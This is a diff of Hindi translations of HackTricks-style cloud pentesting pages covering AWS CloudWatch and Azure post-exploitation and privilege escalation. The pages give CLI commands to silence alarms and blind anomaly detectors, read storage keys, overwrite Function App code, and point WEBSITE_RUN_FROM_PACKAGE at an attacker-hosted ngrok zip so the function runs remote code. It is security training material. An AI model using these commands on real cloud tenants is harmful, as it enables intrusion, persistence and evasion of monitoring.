@@ -285,7 +285,7 @@ aws cloudwatch put-composite-alarm --alarm-name <value> --alarm-rule <value> [--
अलार्म क्रियाओं को हटाकर, हमलावर महत्वपूर्ण अलर्ट और स्वचालित प्रतिक्रियाओं को रोक सकता है जब अलार्म स्थिति प्राप्त होती है, जैसे कि प्रशासकों को सूचित करना या ऑटो-स्केलिंग गतिविधियों को सक्रिय करना। अनुचित रूप से अलार्म क्रियाओं को सक्षम या पुनः सक्षम करना भी अप्रत्याशित व्यवहार का कारण बन सकता है, या तो पहले से अक्षम की गई क्रियाओं को फिर से सक्रिय करके या यह संशोधित करके कि कौन सी क्रियाएँ सक्रिय होती हैं, संभावित रूप से घटना प्रतिक्रिया में भ्रम और गलत दिशा का कारण बनता है।
इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्म को चुप करा सके।
इसके अतिरिक्त, एक हमलावर जिसके पास अनुमति है, अलार्म स्थितियों में हेरफेर कर सकता है, झूठे अलार्म बनाने में सक्षम हो सकता है ताकि प्रशासकों को विचलित और भ्रमित किया जा सके, या चल रही दुर्भावनापूर्ण गतिविधियों या महत्वपूर्ण प्रणाली विफलताओं को छिपाने के लिए वास्तविक अलार्मों को चुप करा सके।
- यदि आप **`SetAlarmState`** का उपयोग एक समग्र अलार्म पर करते हैं, तो समग्र अलार्म को इसकी वास्तविक स्थिति पर लौटने की गारंटी नहीं है। यह केवल तब अपनी वास्तविक स्थिति पर लौटता है जब इसके किसी भी बच्चे अलार्म की स्थिति बदलती है। यदि आप इसकी कॉन्फ़िगरेशन को अपडेट करते हैं तो इसे फिर से मूल्यांकन भी किया जाता है।
```bash
@@ -293,16 +293,16 @@ aws cloudwatch disable-alarm-actions --alarm-names <value>
aws cloudwatch enable-alarm-actions --alarm-names <value>
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
```
**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, झूठी चेतावनियाँ, वास्तविक चेतावनियों को दबाना और वास्तविक घटनाओं की संभावित पहचान को चूकना।
**संभावित प्रभाव**: महत्वपूर्ण घटनाओं के लिए सूचनाओं की कमी, संभावित अप्रयुक्त मुद्दे, गलत अलर्ट, वास्तविक अलर्ट को दबाना और वास्तविक घटनाओं की पहचान को संभावित रूप से चूकना।
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकता है। मौजूदा विसंगति डिटेक्टर्स को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या झूठे सकारात्मक बना सकता है
एक हमलावर मेट्रिक डेटा में असामान्य पैटर्न या विसंगतियों का पता लगाने और प्रतिक्रिया देने की क्षमता को कमजोर कर सकेगा। मौजूदा विसंगति डिटेक्टर्स को हटाकर, एक हमलावर महत्वपूर्ण अलर्टिंग तंत्र को निष्क्रिय कर सकता है; और उन्हें बनाने या संशोधित करके, यह निगरानी को भटकाने या अभिभूत करने के लिए गलत कॉन्फ़िगर या गलत सकारात्मक बनाने में सक्षम होगा
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
```
निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को कैसे अप्रभावी बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है।
निम्नलिखित उदाहरण दिखाता है कि एक मैट्रिक विसंगति डिटेक्टर को अप्रभावी कैसे बनाया जाए। यह मैट्रिक विसंगति डिटेक्टर एक विशिष्ट EC2 इंस्टेंस के औसत CPU उपयोग की निगरानी करता है, और बस “ExcludedTimeRanges” पैरामीटर को वांछित समय सीमा के साथ जोड़ने से यह सुनिश्चित करने के लिए पर्याप्त होगा कि विसंगति डिटेक्टर उस अवधि के दौरान किसी भी प्रासंगिक डेटा का विश्लेषण या अलर्ट नहीं करता है।
{{#tabs }}
{{#tab name="Original Metric Anomaly Detector" }}
@@ -323,7 +323,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <val
```
{{#endtab }}
{{#tab name="Modified Metric Anomaly Detector" }}
{{#tab name="संशोधित मैट्रिक विसंगति डिटेक्टर" }}
```json
{
"SingleMetricAnomalyDetector": {
@@ -389,7 +389,7 @@ aws cloudwatch enable-insight-rules --rule-names <value>
- **संसाधन हेरफेर**: अत्यधिक डेटा के साथ नए मेट्रिक स्ट्रीम बनाने से बहुत अधिक शोर उत्पन्न हो सकता है, जिससे गलत अलर्ट उत्पन्न होते हैं, और वास्तविक मुद्दों को छिपा दिया जाता है।
- **निगरानी में विघटन**: मेट्रिक स्ट्रीम को हटाने से, हमलावर निगरानी डेटा के निरंतर प्रवाह को बाधित करेंगे। इस तरह, उनकी दुष्ट गतिविधियाँ प्रभावी रूप से छिपी रहेंगी।
इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, एक मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा इसे पूरी तरह से बेकार बना देती है
इसी तरह, **`cloudwatch:PutMetricData`** अनुमति के साथ, एक मेट्रिक स्ट्रीम में डेटा जोड़ना संभव होगा। इससे DoS हो सकता है क्योंकि जो गलत डेटा जोड़ा गया है, उसकी मात्रा के कारण यह पूरी तरह से बेकार हो जाएगा
```bash
aws cloudwatch delete-metric-stream --name <value>
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
@@ -403,7 +403,7 @@ aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilizati
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
एक हमलावर प्रभावित मैट्रिक डेटा स्ट्रीम के प्रवाह को नियंत्रित करेगा (यदि कोई संसाधन प्रतिबंध नहीं है तो हर डेटा स्ट्रीम)। अनुमति **`cloudwatch:StopMetricStreams`** के साथ, हमलावर महत्वपूर्ण मैट्रिक स्ट्रीम को रोककर अपनी दुर्भावनापूर्ण गतिविधियों को छिपा सकते हैं।
एक हमलावर प्रभावित मैट्रिक डेटा स्ट्रीम के प्रवाह को नियंत्रित करेगा (यदि संसाधन प्रतिबंध नहीं है तो हर डेटा स्ट्रीम)। अनुमति **`cloudwatch:StopMetricStreams`** के साथ, हमलावर महत्वपूर्ण मैट्रिक स्ट्रीम को रोककर अपनी दुर्भावनापूर्ण गतिविधियों को छिपा सकते हैं।
```bash
aws cloudwatch stop-metric-streams --names <value>
aws cloudwatch start-metric-streams --names <value>
@@ -417,7 +417,7 @@ aws cloudwatch start-metric-streams --names <value>
aws cloudwatch tag-resource --resource-arn <value> --tags <value>
aws cloudwatch untag-resource --resource-arn <value> --tag-keys <value>
```
**संभावित प्रभाव**: टैग-आधारित एक्सेस नियंत्रण नीतियों में विघटन।
**संभावित प्रभाव**: टैग-आधारित एक्सेस कंट्रोल नीतियों में विघटन।
## संदर्भ

View File

@@ -4,10 +4,10 @@
## Cloud Shell Persistence
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी स्टोरेज और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
Azure Cloud Shell कमांड-लाइन एक्सेस प्रदान करता है ताकि Azure संसाधनों को प्रबंधित किया जा सके, जिसमें स्थायी भंडारण और स्वचालित प्रमाणीकरण शामिल है। हमलावर इसका लाभ उठाकर स्थायी होम डायरेक्टरी में बैकडोर रख सकते हैं:
* **Persistent Storage**: Azure Cloud Shell की होम डायरेक्टरी एक Azure फ़ाइल शेयर पर माउंट की गई है और सत्र समाप्त होने के बाद भी बरकरार रहती है।
* **Startup Scripts**: .bashrc जैसे फ़ाइलें प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
* **Startup Scripts**: फ़ाइलें जैसे .bashrc प्रत्येक सत्र की शुरुआत में स्वचालित रूप से निष्पादित होती हैं, जिससे क्लाउड शेल शुरू होने पर स्थायी निष्पादन की अनुमति मिलती है।
Example backdoor in .bashrc:
```bash

View File

@@ -79,7 +79,7 @@ az cosmosdb sql trigger create \
--operation All
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड जावास्क्रिप्ट फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं।
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर स्टोर किए गए प्रक्रियाओं को बना या संशोधित कर सकते हैं। Cosmos DB में स्टोर की गई प्रक्रियाएँ सर्वर-साइड JavaScript फ़ंक्शन हैं जो आपको डेटा को संसाधित करने या सीधे डेटाबेस के भीतर संचालन करने के लिए लॉजिक को संलग्न करने की अनुमति देती हैं।
```bash
az cosmosdb sql stored-procedure create \
--account-name <account_name> \
@@ -90,7 +90,7 @@ az cosmosdb sql stored-procedure create \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको सम्मिलन, अद्यतन, या हटाने जैसी क्रियाओं के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
इस अनुमति के साथ, आप Azure Cosmos DB खाते में SQL डेटाबेस के एक कंटेनर के भीतर ट्रिगर्स बना या संशोधित कर सकते हैं। ट्रिगर्स आपको इनसर्ट, अपडेट या डिलीट जैसी ऑपरेशनों के जवाब में सर्वर-साइड लॉजिक निष्पादित करने की अनुमति देते हैं।
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \

View File

@@ -12,7 +12,7 @@ File Share Post Exploitation
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
इस अनुमति के साथ एक प्रिंसिपल **सूची** बना सकेगा फाइल शेयर के अंदर की फाइलों क और **डाउनलोड** कर सकेगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं।
इस अनुमति के साथ एक प्रिंसिपल **सूचीबद्ध** करने में सक्षम होगा फाइल शेयर के अंदर फाइलों क और **डाउनलोड** करने में सक्षम होगा फाइलें जो **संवेदनशील जानकारी** हो सकती हैं।
```bash
# List files inside an azure file share
az storage file list \

View File

@@ -19,7 +19,7 @@ az logic workflow identity remove/assign \
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
```
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
इन अनुमतियों के साथ, आप एक App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
इन अनुमतियों के साथ, आप App Service Plan पर होस्ट किए गए Logic Apps को बना या अपडेट कर सकते हैं। इसमें HTTPS प्रवर्तन को सक्षम या अक्षम करने जैसी सेटिंग्स को संशोधित करना शामिल है।
```bash
az logicapp update \
--resource-group <resource_group_name> \
@@ -66,7 +66,7 @@ az logic integration-account batch-configuration create \
}'
```
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, ज विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण को सक्षम बनाता है।
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते के भीतर मानचित्र बना या संशोधित कर सकते हैं। मानचित्रों का उपयोग डेटा को एक प्रारूप से दूसरे प्रारूप में परिवर्तित करने के लिए किया जाता है, जिससे विभिन्न सिस्टम और अनुप्रयोगों के बीच निर्बाध एकीकरण संभव होता है।
```bash
az logic integration-account map create \
--resource-group <resource_group_name> \
@@ -77,7 +77,7 @@ az logic integration-account map create \
--map-content map-content.xslt
```
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`
इस अनुमति के साथ, आप Azure Logic Apps इंटीग्रेशन खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
इस अनुमति के साथ, आप Azure Logic Apps एकीकरण खाते में भागीदारों को बना या संशोधित कर सकते हैं। भागीदार उन संस्थाओं या प्रणालियों का प्रतिनिधित्व करते हैं जो व्यवसाय-से-व्यवसाय (B2B) कार्यप्रवाहों में भाग लेते हैं।
```bash
az logic integration-account partner create \
--resource-group <resource_group_name> \

View File

@@ -1,9 +1,9 @@
# Az - MySQL Post Exploitation
# Az - MySQL पोस्ट एक्सप्लॉइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## MySQL Database Post Exploitation
MySQL Database के बारे में अधिक जानकारी के लिए देखें:
## MySQL डेटाबेस पोस्ट एक्सप्लॉइटेशन
MySQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-mysql.md
@@ -11,7 +11,7 @@ MySQL Database के बारे में अधिक जानकारी
### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
इस अनुमति के साथ, आप Azure पर MySQL फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है।
```bash
az mysql flexible-server db create \
--server-name <server_name> \
@@ -20,7 +20,7 @@ az mysql flexible-server db create \
```
### `Microsoft.DBforMySQL/flexibleServers/backups/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को ऑन-डिमांड बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को मांग पर बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है।
```bash
az mysql flexible-server backup create \
--name <server_name> \
@@ -67,7 +67,7 @@ az mysql flexible-server reset-gtid \
```
### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर के पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections।
```bash
az mysql flexible-server parameter set-batch \
--resource-group <resource_group_name> \

View File

@@ -1,8 +1,8 @@
# Az - PostgreSQL पोस्ट एक्सप्लइटेशन
# Az - PostgreSQL पोस्ट एक्सप्लइटेशन
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL डेटाबेस पोस्ट एक्सप्लइटेशन
## PostgreSQL डेटाबेस पोस्ट एक्सप्लइटेशन
PostgreSQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
@@ -68,7 +68,7 @@ az postgres flexible-server parameter set \
```
### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action`
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकत है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकत है।
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा बाधित हो सकत है, जो डेटाबेस पर निर्भर एप्लिकेशन और उपयोगकर्ताओं को प्रभावित कर सकत है।
```bash
az postgres flexible-server stop \
--name <server_name> \

View File

@@ -44,7 +44,7 @@ az cosmosdb sql role assignment create \
--scope "/"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
इस अनुमति के साथ, आप Azure Cosmos DB खाते के लिए प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं।
```bash
az cosmosdb keys list \
--name <account_name> \

View File

@@ -12,13 +12,13 @@
### Bucket Read/Write
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-परिभाषित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं।
एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं।
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`)
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमान कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर संग्रहीत होता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमान कोड को लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है।
यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं
```bash
@@ -47,9 +47,9 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
यह सामान्य है कि **zip रिलीज़** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो स्टोरेज अकाउंट कंटेनर में है जिसका फ़ंक्शन ऐप उपयोग कर रहा है, **जो आमतौर पर `function-releases` कहा जाता है**
यह सामान्य है कि **zip releases** को उस फ़ोल्डर `function-releases` के अंदर पाया जाए जो Storage Account कंटेनर में है जिसका उपयोग फ़ंक्शन ऐप कर रहा है, **जो आमतौर पर `function-releases`** कहलाता है।
आमतौर पर, यह डिप्लॉयमेंट विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी:
आमतौर पर, यह तैनाती विधि `WEBSITE_RUN_FROM_PACKAGE` कॉन्फ़िग सेट करेगी:
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -58,7 +58,7 @@ az functionapp config appsettings list \
यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा।
> [!CAUTION]
> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमान कोड को निष्‍पादित करना और विशेषाधिकारों को बढ़ाना संभव है।
> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमान कोड निष्‍पादित करना और विशेषाधिकार बढ़ाना संभव है।
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
@@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **`<app-name>`** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो।
> [!CAUTION]
> यदि **ज़िप एक्सटेंशन फ़ाइल** (जो वास्तव में एक **`squashfs`** है) में कोड को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
> यदि ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है जो **कोड को ज़िप एक्सटेंशन फ़ाइल** में रखता है (जो वास्तव में एक **`squashfs`** है), तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है।
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,7 +118,7 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
यह अनुमति निर्दिष्ट कार्य के कार्य, मास्टर और सिस्टम कुंज को सूचीबद्ध करने की अनुमति देती है, लेकिन मेज़बान कुंजी नहीं।
यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं।
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
@@ -162,7 +162,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं!
> याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए अनुसार संशोधित कर सकते हैं!
### `Microsoft.Web/sites/host/systemKeys/write`
@@ -183,9 +183,9 @@ az rest --method POST \
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा है, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
ये अनुमतियाँ एक फ़ंक्शन के कॉन्फ़िगरेशन मानों को सूचीबद्ध करने की अनुमति देती हैं जैसा कि हमने पहले देखा था, साथ ही **इन मानों को संशोधित करने** की भी। यह उपयोगी है क्योंकि ये सेटिंग्स यह संकेत करती हैं कि फ़ंक्शन के अंदर निष्पादित होने वाला कोड कहाँ स्थित है।
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें वेब एप्लिकेशन के अंदर निष्पादित होने वाला नया कोड हो:
इसलिए यह संभव है कि सेटिंग का मान **`WEBSITE_RUN_FROM_PACKAGE`** को एक URL ज़िप फ़ाइल की ओर इंगित किया जाए जिसमें एक वेब एप्लिकेशन के अंदर निष्पादित होने के लिए नया कोड हो:
- वर्तमान कॉन्फ़िगरेशन प्राप्त करने से शुरू करें
```bash
@@ -203,9 +203,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** के URL की ओर इशारा करता है।
- फ़ंक्शन को संशोधित करें, पिछले पैरामीटर को बनाए रखें और अंत में **`WEBSITE_RUN_FROM_PACKAGE`** कॉन्फ़िगरेशन जोड़ें जो कोड के साथ **zip** वाली URL की ओर इशारा करता है।
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यही वह जगह है जहाँ मैं ऐप को होस्ट कर रहा था।
निम्नलिखित मेरे **अपने सेटिंग्स का एक उदाहरण है, आपको अपने लिए मान बदलने की आवश्यकता होगी**, अंत में मान `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` है, यहाँ मैंने ऐप को होस्ट किया था।
```bash
# Modify the function
az rest --method PUT \
@@ -307,9 +307,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
```
### `Microsoft.Web/sites/functions/token/action`
